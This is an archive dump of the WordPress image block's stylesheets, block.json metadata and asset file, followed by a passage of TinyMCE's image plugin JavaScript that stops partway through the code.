.wp-block-image__toolbar_content_textarea{
  width:250px;
}block.json000064400000005650151024246360006542 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/image",
	"title": "Image",
	"category": "media",
	"usesContext": [
		"allowResize",
		"imageCrop",
		"fixedHeight",
		"postId",
		"postType",
		"queryId"
	],
	"description": "Insert an image to make a visual statement.",
	"keywords": [ "img", "photo", "picture" ],
	"textdomain": "default",
	"attributes": {
		"blob": {
			"type": "string",
			"role": "local"
		},
		"url": {
			"type": "string",
			"source": "attribute",
			"selector": "img",
			"attribute": "src",
			"role": "content"
		},
		"alt": {
			"type": "string",
			"source": "attribute",
			"selector": "img",
			"attribute": "alt",
			"default": "",
			"role": "content"
		},
		"caption": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "figcaption",
			"role": "content"
		},
		"lightbox": {
			"type": "object",
			"enabled": {
				"type": "boolean"
			}
		},
		"title": {
			"type": "string",
			"source": "attribute",
			"selector": "img",
			"attribute": "title",
			"role": "content"
		},
		"href": {
			"type": "string",
			"source": "attribute",
			"selector": "figure > a",
			"attribute": "href",
			"role": "content"
		},
		"rel": {
			"type": "string",
			"source": "attribute",
			"selector": "figure > a",
			"attribute": "rel"
		},
		"linkClass": {
			"type": "string",
			"source": "attribute",
			"selector": "figure > a",
			"attribute": "class"
		},
		"id": {
			"type": "number",
			"role": "content"
		},
		"width": {
			"type": "string"
		},
		"height": {
			"type": "string"
		},
		"aspectRatio": {
			"type": "string"
		},
		"scale": {
			"type": "string"
		},
		"sizeSlug": {
			"type": "string"
		},
		"linkDestination": {
			"type": "string"
		},
		"linkTarget": {
			"type": "string",
			"source": "attribute",
			"selector": "figure > a",
			"attribute": "target"
		}
	},
	"supports": {
		"interactivity": true,
		"align": [ "left", "center", "right", "wide", "full" ],
		"anchor": true,
		"color": {
			"text": false,
			"background": false
		},
		"filter": {
			"duotone": true
		},
		"spacing": {
			"margin": true
		},
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"width": true,
			"__experimentalSkipSerialization": true,
			"__experimentalDefaultControls": {
				"color": true,
				"radius": true,
				"width": true
			}
		},
		"shadow": {
			"__experimentalSkipSerialization": true
		}
	},
	"selectors": {
		"border": ".wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder",
		"shadow": ".wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder",
		"filter": {
			"duotone": ".wp-block-image img, .wp-block-image .components-placeholder"
		}
	},
	"styles": [
		{
			"name": "default",
			"label": "Default",
			"isDefault": true
		},
		{ "name": "rounded", "label": "Rounded" }
	],
	"editorStyle": "wp-block-image-editor",
	"style": "wp-block-image"
}
style-rtl.css000064400000017107151024246360007226 0ustar00.wp-block-image>a,.wp-block-image>figure>a{
  display:inline-block;
}
.wp-block-image img{
  box-sizing:border-box;
  height:auto;
  max-width:100%;
  vertical-align:bottom;
}
@media not (prefers-reduced-motion){
  .wp-block-image img.hide{
    visibility:hidden;
  }
  .wp-block-image img.show{
    animation:show-content-image .4s;
  }
}
.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{
  border-radius:inherit;
}
.wp-block-image.has-custom-border img{
  box-sizing:border-box;
}
.wp-block-image.aligncenter{
  text-align:center;
}
.wp-block-image.alignfull>a,.wp-block-image.alignwide>a{
  width:100%;
}
.wp-block-image.alignfull img,.wp-block-image.alignwide img{
  height:auto;
  width:100%;
}
.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{
  display:table;
}
.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{
  caption-side:bottom;
  display:table-caption;
}
.wp-block-image .alignleft{
  float:left;
  margin:.5em 1em .5em 0;
}
.wp-block-image .alignright{
  float:right;
  margin:.5em 0 .5em 1em;
}
.wp-block-image .aligncenter{
  margin-left:auto;
  margin-right:auto;
}
.wp-block-image :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-image.is-style-circle-mask img{
  border-radius:9999px;
}
@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){
  .wp-block-image.is-style-circle-mask img{
    border-radius:0;
    -webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');
            mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');
    mask-mode:alpha;
    -webkit-mask-position:center;
            mask-position:center;
    -webkit-mask-repeat:no-repeat;
            mask-repeat:no-repeat;
    -webkit-mask-size:contain;
            mask-size:contain;
  }
}

:root :where(.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img){
  border-radius:9999px;
}

.wp-block-image figure{
  margin:0;
}

.wp-lightbox-container{
  display:flex;
  flex-direction:column;
  position:relative;
}
.wp-lightbox-container img{
  cursor:zoom-in;
}
.wp-lightbox-container img:hover+button{
  opacity:1;
}
.wp-lightbox-container button{
  align-items:center;
  -webkit-backdrop-filter:blur(16px) saturate(180%);
          backdrop-filter:blur(16px) saturate(180%);
  background-color:#5a5a5a40;
  border:none;
  border-radius:4px;
  cursor:zoom-in;
  display:flex;
  height:20px;
  justify-content:center;
  left:16px;
  opacity:0;
  padding:0;
  position:absolute;
  text-align:center;
  top:16px;
  width:20px;
  z-index:100;
}
@media not (prefers-reduced-motion){
  .wp-lightbox-container button{
    transition:opacity .2s ease;
  }
}
.wp-lightbox-container button:focus-visible{
  outline:3px auto #5a5a5a40;
  outline:3px auto -webkit-focus-ring-color;
  outline-offset:3px;
}
.wp-lightbox-container button:hover{
  cursor:pointer;
  opacity:1;
}
.wp-lightbox-container button:focus{
  opacity:1;
}
.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){
  background-color:#5a5a5a40;
  border:none;
}

.wp-lightbox-overlay{
  box-sizing:border-box;
  cursor:zoom-out;
  height:100vh;
  overflow:hidden;
  position:fixed;
  right:0;
  top:0;
  visibility:hidden;
  width:100%;
  z-index:100000;
}
.wp-lightbox-overlay .close-button{
  align-items:center;
  cursor:pointer;
  display:flex;
  justify-content:center;
  left:calc(env(safe-area-inset-left) + 16px);
  min-height:40px;
  min-width:40px;
  padding:0;
  position:absolute;
  top:calc(env(safe-area-inset-top) + 16px);
  z-index:5000000;
}
.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){
  background:none;
  border:none;
}
.wp-lightbox-overlay .lightbox-image-container{
  height:var(--wp--lightbox-container-height);
  overflow:hidden;
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
  transform-origin:top right;
  width:var(--wp--lightbox-container-width);
  z-index:9999999999;
}
.wp-lightbox-overlay .wp-block-image{
  align-items:center;
  box-sizing:border-box;
  display:flex;
  height:100%;
  justify-content:center;
  margin:0;
  position:relative;
  transform-origin:100% 0;
  width:100%;
  z-index:3000000;
}
.wp-lightbox-overlay .wp-block-image img{
  height:var(--wp--lightbox-image-height);
  min-height:var(--wp--lightbox-image-height);
  min-width:var(--wp--lightbox-image-width);
  width:var(--wp--lightbox-image-width);
}
.wp-lightbox-overlay .wp-block-image figcaption{
  display:none;
}
.wp-lightbox-overlay button{
  background:none;
  border:none;
}
.wp-lightbox-overlay .scrim{
  background-color:#fff;
  height:100%;
  opacity:.9;
  position:absolute;
  width:100%;
  z-index:2000000;
}
.wp-lightbox-overlay.active{
  visibility:visible;
}
@media not (prefers-reduced-motion){
  .wp-lightbox-overlay.active{
    animation:turn-on-visibility .25s both;
  }
  .wp-lightbox-overlay.active img{
    animation:turn-on-visibility .35s both;
  }
  .wp-lightbox-overlay.show-closing-animation:not(.active){
    animation:turn-off-visibility .35s both;
  }
  .wp-lightbox-overlay.show-closing-animation:not(.active) img{
    animation:turn-off-visibility .25s both;
  }
  .wp-lightbox-overlay.zoom.active{
    animation:none;
    opacity:1;
    visibility:visible;
  }
  .wp-lightbox-overlay.zoom.active .lightbox-image-container{
    animation:lightbox-zoom-in .4s;
  }
  .wp-lightbox-overlay.zoom.active .lightbox-image-container img{
    animation:none;
  }
  .wp-lightbox-overlay.zoom.active .scrim{
    animation:turn-on-visibility .4s forwards;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active){
    animation:none;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{
    animation:lightbox-zoom-out .4s;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{
    animation:none;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{
    animation:turn-off-visibility .4s forwards;
  }
}

@keyframes show-content-image{
  0%{
    visibility:hidden;
  }
  99%{
    visibility:hidden;
  }
  to{
    visibility:visible;
  }
}
@keyframes turn-on-visibility{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
@keyframes turn-off-visibility{
  0%{
    opacity:1;
    visibility:visible;
  }
  99%{
    opacity:0;
    visibility:visible;
  }
  to{
    opacity:0;
    visibility:hidden;
  }
}
@keyframes lightbox-zoom-in{
  0%{
    transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));
  }
  to{
    transform:translate(50%, -50%) scale(1);
  }
}
@keyframes lightbox-zoom-out{
  0%{
    transform:translate(50%, -50%) scale(1);
    visibility:visible;
  }
  99%{
    visibility:visible;
  }
  to{
    transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));
    visibility:hidden;
  }
}style.css000064400000017075151024246360006433 0ustar00.wp-block-image>a,.wp-block-image>figure>a{
  display:inline-block;
}
.wp-block-image img{
  box-sizing:border-box;
  height:auto;
  max-width:100%;
  vertical-align:bottom;
}
@media not (prefers-reduced-motion){
  .wp-block-image img.hide{
    visibility:hidden;
  }
  .wp-block-image img.show{
    animation:show-content-image .4s;
  }
}
.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{
  border-radius:inherit;
}
.wp-block-image.has-custom-border img{
  box-sizing:border-box;
}
.wp-block-image.aligncenter{
  text-align:center;
}
.wp-block-image.alignfull>a,.wp-block-image.alignwide>a{
  width:100%;
}
.wp-block-image.alignfull img,.wp-block-image.alignwide img{
  height:auto;
  width:100%;
}
.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{
  display:table;
}
.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{
  caption-side:bottom;
  display:table-caption;
}
.wp-block-image .alignleft{
  float:left;
  margin:.5em 1em .5em 0;
}
.wp-block-image .alignright{
  float:right;
  margin:.5em 0 .5em 1em;
}
.wp-block-image .aligncenter{
  margin-left:auto;
  margin-right:auto;
}
.wp-block-image :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-image.is-style-circle-mask img{
  border-radius:9999px;
}
@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){
  .wp-block-image.is-style-circle-mask img{
    border-radius:0;
    -webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');
            mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');
    mask-mode:alpha;
    -webkit-mask-position:center;
            mask-position:center;
    -webkit-mask-repeat:no-repeat;
            mask-repeat:no-repeat;
    -webkit-mask-size:contain;
            mask-size:contain;
  }
}

:root :where(.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img){
  border-radius:9999px;
}

.wp-block-image figure{
  margin:0;
}

.wp-lightbox-container{
  display:flex;
  flex-direction:column;
  position:relative;
}
.wp-lightbox-container img{
  cursor:zoom-in;
}
.wp-lightbox-container img:hover+button{
  opacity:1;
}
.wp-lightbox-container button{
  align-items:center;
  -webkit-backdrop-filter:blur(16px) saturate(180%);
          backdrop-filter:blur(16px) saturate(180%);
  background-color:#5a5a5a40;
  border:none;
  border-radius:4px;
  cursor:zoom-in;
  display:flex;
  height:20px;
  justify-content:center;
  opacity:0;
  padding:0;
  position:absolute;
  right:16px;
  text-align:center;
  top:16px;
  width:20px;
  z-index:100;
}
@media not (prefers-reduced-motion){
  .wp-lightbox-container button{
    transition:opacity .2s ease;
  }
}
.wp-lightbox-container button:focus-visible{
  outline:3px auto #5a5a5a40;
  outline:3px auto -webkit-focus-ring-color;
  outline-offset:3px;
}
.wp-lightbox-container button:hover{
  cursor:pointer;
  opacity:1;
}
.wp-lightbox-container button:focus{
  opacity:1;
}
.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){
  background-color:#5a5a5a40;
  border:none;
}

.wp-lightbox-overlay{
  box-sizing:border-box;
  cursor:zoom-out;
  height:100vh;
  left:0;
  overflow:hidden;
  position:fixed;
  top:0;
  visibility:hidden;
  width:100%;
  z-index:100000;
}
.wp-lightbox-overlay .close-button{
  align-items:center;
  cursor:pointer;
  display:flex;
  justify-content:center;
  min-height:40px;
  min-width:40px;
  padding:0;
  position:absolute;
  right:calc(env(safe-area-inset-right) + 16px);
  top:calc(env(safe-area-inset-top) + 16px);
  z-index:5000000;
}
.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){
  background:none;
  border:none;
}
.wp-lightbox-overlay .lightbox-image-container{
  height:var(--wp--lightbox-container-height);
  left:50%;
  overflow:hidden;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
  transform-origin:top left;
  width:var(--wp--lightbox-container-width);
  z-index:9999999999;
}
.wp-lightbox-overlay .wp-block-image{
  align-items:center;
  box-sizing:border-box;
  display:flex;
  height:100%;
  justify-content:center;
  margin:0;
  position:relative;
  transform-origin:0 0;
  width:100%;
  z-index:3000000;
}
.wp-lightbox-overlay .wp-block-image img{
  height:var(--wp--lightbox-image-height);
  min-height:var(--wp--lightbox-image-height);
  min-width:var(--wp--lightbox-image-width);
  width:var(--wp--lightbox-image-width);
}
.wp-lightbox-overlay .wp-block-image figcaption{
  display:none;
}
.wp-lightbox-overlay button{
  background:none;
  border:none;
}
.wp-lightbox-overlay .scrim{
  background-color:#fff;
  height:100%;
  opacity:.9;
  position:absolute;
  width:100%;
  z-index:2000000;
}
.wp-lightbox-overlay.active{
  visibility:visible;
}
@media not (prefers-reduced-motion){
  .wp-lightbox-overlay.active{
    animation:turn-on-visibility .25s both;
  }
  .wp-lightbox-overlay.active img{
    animation:turn-on-visibility .35s both;
  }
  .wp-lightbox-overlay.show-closing-animation:not(.active){
    animation:turn-off-visibility .35s both;
  }
  .wp-lightbox-overlay.show-closing-animation:not(.active) img{
    animation:turn-off-visibility .25s both;
  }
  .wp-lightbox-overlay.zoom.active{
    animation:none;
    opacity:1;
    visibility:visible;
  }
  .wp-lightbox-overlay.zoom.active .lightbox-image-container{
    animation:lightbox-zoom-in .4s;
  }
  .wp-lightbox-overlay.zoom.active .lightbox-image-container img{
    animation:none;
  }
  .wp-lightbox-overlay.zoom.active .scrim{
    animation:turn-on-visibility .4s forwards;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active){
    animation:none;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{
    animation:lightbox-zoom-out .4s;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{
    animation:none;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{
    animation:turn-off-visibility .4s forwards;
  }
}

@keyframes show-content-image{
  0%{
    visibility:hidden;
  }
  99%{
    visibility:hidden;
  }
  to{
    visibility:visible;
  }
}
@keyframes turn-on-visibility{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
@keyframes turn-off-visibility{
  0%{
    opacity:1;
    visibility:visible;
  }
  99%{
    opacity:0;
    visibility:visible;
  }
  to{
    opacity:0;
    visibility:hidden;
  }
}
@keyframes lightbox-zoom-in{
  0%{
    transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));
  }
  to{
    transform:translate(-50%, -50%) scale(1);
  }
}
@keyframes lightbox-zoom-out{
  0%{
    transform:translate(-50%, -50%) scale(1);
    visibility:visible;
  }
  99%{
    visibility:visible;
  }
  to{
    transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));
    visibility:hidden;
  }
}view.asset.php000064400000000124151024246360007345 0ustar00<?php return array('dependencies' => array(), 'version' => '7500eb032759d407a71d');
editor.min.css000064400000004660151024246360007337 0ustar00.wp-block-image.wp-block-image .block-editor-media-placeholder.is-small{min-height:60px}figure.wp-block-image:not(.wp-block){margin:0}.wp-block-image{position:relative}.wp-block-image .is-applying img,.wp-block-image.is-transient img{opacity:.3}.wp-block-image figcaption img{display:inline}.wp-block-image .components-spinner{left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%)}.wp-block-image__placeholder{aspect-ratio:4/3}.wp-block-image__placeholder.has-illustration:before{background:#fff;opacity:.8}.wp-block-image__placeholder .components-placeholder__illustration{opacity:.1}.wp-block-image .components-resizable-box__container{display:table}.wp-block-image .components-resizable-box__container img{display:block;height:inherit;width:inherit}.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{left:0;margin:-1px 0;position:absolute;right:0}@media (min-width:600px){.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{margin:-1px}}[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{height:auto;width:100%}.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{display:table}.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{caption-side:bottom;display:table-caption}.wp-block[data-align=left]>.wp-block-image{margin:.5em 1em .5em 0}.wp-block[data-align=right]>.wp-block-image{margin:.5em 0 .5em 1em}.wp-block[data-align=center]>.wp-block-image{margin-left:auto;margin-right:auto;text-align:center}.wp-block[data-align]:has(>.wp-block-image){position:relative}.wp-block-image__crop-area{max-width:100%;overflow:hidden;position:relative;width:100%}.wp-block-image__crop-area .reactEasyCrop_Container{pointer-events:auto}.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{border:none;border-radius:0}.wp-block-image__crop-icon{align-items:center;display:flex;justify-content:center;min-width:48px;padding:0 8px}.wp-block-image__crop-icon svg{fill:currentColor}.wp-block-image__zoom .components-popover__content{min-width:260px;overflow:visible!important}.wp-block-image__toolbar_content_textarea__container{padding:8px}.wp-block-image__toolbar_content_textarea{width:250px}plugin.js000064400000116126151024272320006405 0ustar00(function () {
var image = (function (domGlobals) {
    'use strict';

    var global = tinymce.util.Tools.resolve('tinymce.PluginManager');

    var hasDimensions = function (editor) {
      return editor.settings.image_dimensions === false ? false : true;
    };
    var hasAdvTab = function (editor) {
      return editor.settings.image_advtab === true ? true : false;
    };
    var getPrependUrl = function (editor) {
      return editor.getParam('image_prepend_url', '');
    };
    var getClassList = function (editor) {
      return editor.getParam('image_class_list');
    };
    var hasDescription = function (editor) {
      return editor.settings.image_description === false ? false : true;
    };
    var hasImageTitle = function (editor) {
      return editor.settings.image_title === true ? true : false;
    };
    var hasImageCaption = function (editor) {
      return editor.settings.image_caption === true ? true : false;
    };
    var getImageList = function (editor) {
      return editor.getParam('image_list', false);
    };
    var hasUploadUrl = function (editor) {
      return editor.getParam('images_upload_url', false);
    };
    var hasUploadHandler = function (editor) {
      return editor.getParam('images_upload_handler', false);
    };
    var getUploadUrl = function (editor) {
      return editor.getParam('images_upload_url');
    };
    var getUploadHandler = function (editor) {
      return editor.getParam('images_upload_handler');
    };
    var getUploadBasePath = function (editor) {
      return editor.getParam('images_upload_base_path');
    };
    var getUploadCredentials = function (editor) {
      return editor.getParam('images_upload_credentials');
    };
    var Settings = {
      hasDimensions: hasDimensions,
      hasAdvTab: hasAdvTab,
      getPrependUrl: getPrependUrl,
      getClassList: getClassList,
      hasDescription: hasDescription,
      hasImageTitle: hasImageTitle,
      hasImageCaption: hasImageCaption,
      getImageList: getImageList,
      hasUploadUrl: hasUploadUrl,
      hasUploadHandler: hasUploadHandler,
      getUploadUrl: getUploadUrl,
      getUploadHandler: getUploadHandler,
      getUploadBasePath: getUploadBasePath,
      getUploadCredentials: getUploadCredentials
    };

    var Global = typeof domGlobals.window !== 'undefined' ? domGlobals.window : Function('return this;')();

    var path = function (parts, scope) {
      var o = scope !== undefined && scope !== null ? scope : Global;
      for (var i = 0; i < parts.length && o !== undefined && o !== null; ++i) {
        o = o[parts[i]];
      }
      return o;
    };
    var resolve = function (p, scope) {
      var parts = p.split('.');
      return path(parts, scope);
    };

    var unsafe = function (name, scope) {
      return resolve(name, scope);
    };
    var getOrDie = function (name, scope) {
      var actual = unsafe(name, scope);
      if (actual === undefined || actual === null) {
        throw new Error(name + ' not available on this browser');
      }
      return actual;
    };
    var Global$1 = { getOrDie: getOrDie };

    function FileReader () {
      var f = Global$1.getOrDie('FileReader');
      return new f();
    }

    var global$1 = tinymce.util.Tools.resolve('tinymce.util.Promise');

    var global$2 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    var global$3 = tinymce.util.Tools.resolve('tinymce.util.XHR');

    var parseIntAndGetMax = function (val1, val2) {
      return Math.max(parseInt(val1, 10), parseInt(val2, 10));
    };
    var getImageSize = function (url, callback) {
      var img = domGlobals.document.createElement('img');
      function done(width, height) {
        if (img.parentNode) {
          img.parentNode.removeChild(img);
        }
        callback({
          width: width,
          height: height
        });
      }
      img.onload = function () {
        var width = parseIntAndGetMax(img.width, img.clientWidth);
        var height = parseIntAndGetMax(img.height, img.clientHeight);
        done(width, height);
      };
      img.onerror = function () {
        done(0, 0);
      };
      var style = img.style;
      style.visibility = 'hidden';
      style.position = 'fixed';
      style.bottom = style.left = '0px';
      style.width = style.height = 'auto';
      domGlobals.document.body.appendChild(img);
      img.src = url;
    };
    var buildListItems = function (inputList, itemCallback, startItems) {
      function appendItems(values, output) {
        output = output || [];
        global$2.each(values, function (item) {
          var menuItem = { text: item.text || item.title };
          if (item.menu) {
            menuItem.menu = appendItems(item.menu);
          } else {
            menuItem.value = item.value;
            itemCallback(menuItem);
          }
          output.push(menuItem);
        });
        return output;
      }
      return appendItems(inputList, startItems || []);
    };
    var removePixelSuffix = function (value) {
      if (value) {
        value = value.replace(/px$/, '');
      }
      return value;
    };
    var addPixelSuffix = function (value) {
      if (value.length > 0 && /^[0-9]+$/.test(value)) {
        value += 'px';
      }
      return value;
    };
    var mergeMargins = function (css) {
      if (css.margin) {
        var splitMargin = css.margin.split(' ');
        switch (splitMargin.length) {
        case 1:
          css['margin-top'] = css['margin-top'] || splitMargin[0];
          css['margin-right'] = css['margin-right'] || splitMargin[0];
          css['margin-bottom'] = css['margin-bottom'] || splitMargin[0];
          css['margin-left'] = css['margin-left'] || splitMargin[0];
          break;
        case 2:
          css['margin-top'] = css['margin-top'] || splitMargin[0];
          css['margin-right'] = css['margin-right'] || splitMargin[1];
          css['margin-bottom'] = css['margin-bottom'] || splitMargin[0];
          css['margin-left'] = css['margin-left'] || splitMargin[1];
          break;
        case 3:
          css['margin-top'] = css['margin-top'] || splitMargin[0];
          css['margin-right'] = css['margin-right'] || splitMargin[1];
          css['margin-bottom'] = css['margin-bottom'] || splitMargin[2];
          css['margin-left'] = css['margin-left'] || splitMargin[1];
          break;
        case 4:
          css['margin-top'] = css['margin-top'] || splitMargin[0];
          css['margin-right'] = css['margin-right'] || splitMargin[1];
          css['margin-bottom'] = css['margin-bottom'] || splitMargin[2];
          css['margin-left'] = css['margin-left'] || splitMargin[3];
        }
        delete css.margin;
      }
      return css;
    };
    var createImageList = function (editor, callback) {
      var imageList = Settings.getImageList(editor);
      if (typeof imageList === 'string') {
        global$3.send({
          url: imageList,
          success: function (text) {
            callback(JSON.parse(text));
          }
        });
      } else if (typeof imageList === 'function') {
        imageList(callback);
      } else {
        callback(imageList);
      }
    };
    var waitLoadImage = function (editor, data, imgElm) {
      function selectImage() {
        imgElm.onload = imgElm.onerror = null;
        if (editor.selection) {
          editor.selection.select(imgElm);
          editor.nodeChanged();
        }
      }
      imgElm.onload = function () {
        if (!data.width && !data.height && Settings.hasDimensions(editor)) {
          editor.dom.setAttribs(imgElm, {
            width: imgElm.clientWidth,
            height: imgElm.clientHeight
          });
        }
        selectImage();
      };
      imgElm.onerror = selectImage;
    };
    var blobToDataUri = function (blob) {
      return new global$1(function (resolve, reject) {
        var reader = FileReader();
        reader.onload = function () {
          resolve(reader.result);
        };
        reader.onerror = function () {
          reject(reader.error.message);
        };
        reader.readAsDataURL(blob);
      });
    };
    var Utils = {
      getImageSize: getImageSize,
      buildListItems: buildListItems,
      removePixelSuffix: removePixelSuffix,
      addPixelSuffix: addPixelSuffix,
      mergeMargins: mergeMargins,
      createImageList: createImageList,
      waitLoadImage: waitLoadImage,
      blobToDataUri: blobToDataUri
    };

    var global$4 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');

    var hasOwnProperty = Object.prototype.hasOwnProperty;
    var shallow = function (old, nu) {
      return nu;
    };
    var baseMerge = function (merger) {
      return function () {
        var objects = new Array(arguments.length);
        for (var i = 0; i < objects.length; i++) {
          objects[i] = arguments[i];
        }
        if (objects.length === 0) {
          throw new Error('Can\'t merge zero objects');
        }
        var ret = {};
        for (var j = 0; j < objects.length; j++) {
          var curObject = objects[j];
          for (var key in curObject) {
            if (hasOwnProperty.call(curObject, key)) {
              ret[key] = merger(ret[key], curObject[key]);
            }
          }
        }
        return ret;
      };
    };
    var merge = baseMerge(shallow);

    var DOM = global$4.DOM;
    var getHspace = function (image) {
      if (image.style.marginLeft && image.style.marginRight && image.style.marginLeft === image.style.marginRight) {
        return Utils.removePixelSuffix(image.style.marginLeft);
      } else {
        return '';
      }
    };
    var getVspace = function (image) {
      if (image.style.marginTop && image.style.marginBottom && image.style.marginTop === image.style.marginBottom) {
        return Utils.removePixelSuffix(image.style.marginTop);
      } else {
        return '';
      }
    };
    var getBorder = function (image) {
      if (image.style.borderWidth) {
        return Utils.removePixelSuffix(image.style.borderWidth);
      } else {
        return '';
      }
    };
    var getAttrib = function (image, name) {
      if (image.hasAttribute(name)) {
        return image.getAttribute(name);
      } else {
        return '';
      }
    };
    var getStyle = function (image, name) {
      return image.style[name] ? image.style[name] : '';
    };
    var hasCaption = function (image) {
      return image.parentNode !== null && image.parentNode.nodeName === 'FIGURE';
    };
    var setAttrib = function (image, name, value) {
      image.setAttribute(name, value);
    };
    var wrapInFigure = function (image) {
      var figureElm = DOM.create('figure', { class: 'image' });
      DOM.insertAfter(figureElm, image);
      figureElm.appendChild(image);
      figureElm.appendChild(DOM.create('figcaption', { contentEditable: true }, 'Caption'));
      figureElm.contentEditable = 'false';
    };
    var removeFigure = function (image) {
      var figureElm = image.parentNode;
      DOM.insertAfter(image, figureElm);
      DOM.remove(figureElm);
    };
    var toggleCaption = function (image) {
      if (hasCaption(image)) {
        removeFigure(image);
      } else {
        wrapInFigure(image);
      }
    };
    var normalizeStyle = function (image, normalizeCss) {
      var attrValue = image.getAttribute('style');
      var value = normalizeCss(attrValue !== null ? attrValue : '');
      if (value.length > 0) {
        image.setAttribute('style', value);
        image.setAttribute('data-mce-style', value);
      } else {
        image.removeAttribute('style');
      }
    };
    var setSize = function (name, normalizeCss) {
      return function (image, name, value) {
        if (image.style[name]) {
          image.style[name] = Utils.addPixelSuffix(value);
          normalizeStyle(image, normalizeCss);
        } else {
          setAttrib(image, name, value);
        }
      };
    };
    var getSize = function (image, name) {
      if (image.style[name]) {
        return Utils.removePixelSuffix(image.style[name]);
      } else {
        return getAttrib(image, name);
      }
    };
    var setHspace = function (image, value) {
      var pxValue = Utils.addPixelSuffix(value);
      image.style.marginLeft = pxValue;
      image.style.marginRight = pxValue;
    };
    var setVspace = function (image, value) {
      var pxValue = Utils.addPixelSuffix(value);
      image.style.marginTop = pxValue;
      image.style.marginBottom = pxValue;
    };
    var setBorder = function (image, value) {
      var pxValue = Utils.addPixelSuffix(value);
      image.style.borderWidth = pxValue;
    };
    var setBorderStyle = function (image, value) {
      image.style.borderStyle = value;
    };
    var getBorderStyle = function (image) {
      return getStyle(image, 'borderStyle');
    };
    var isFigure = function (elm) {
      return elm.nodeName === 'FIGURE';
    };
    var defaultData = function () {
      return {
        src: '',
        alt: '',
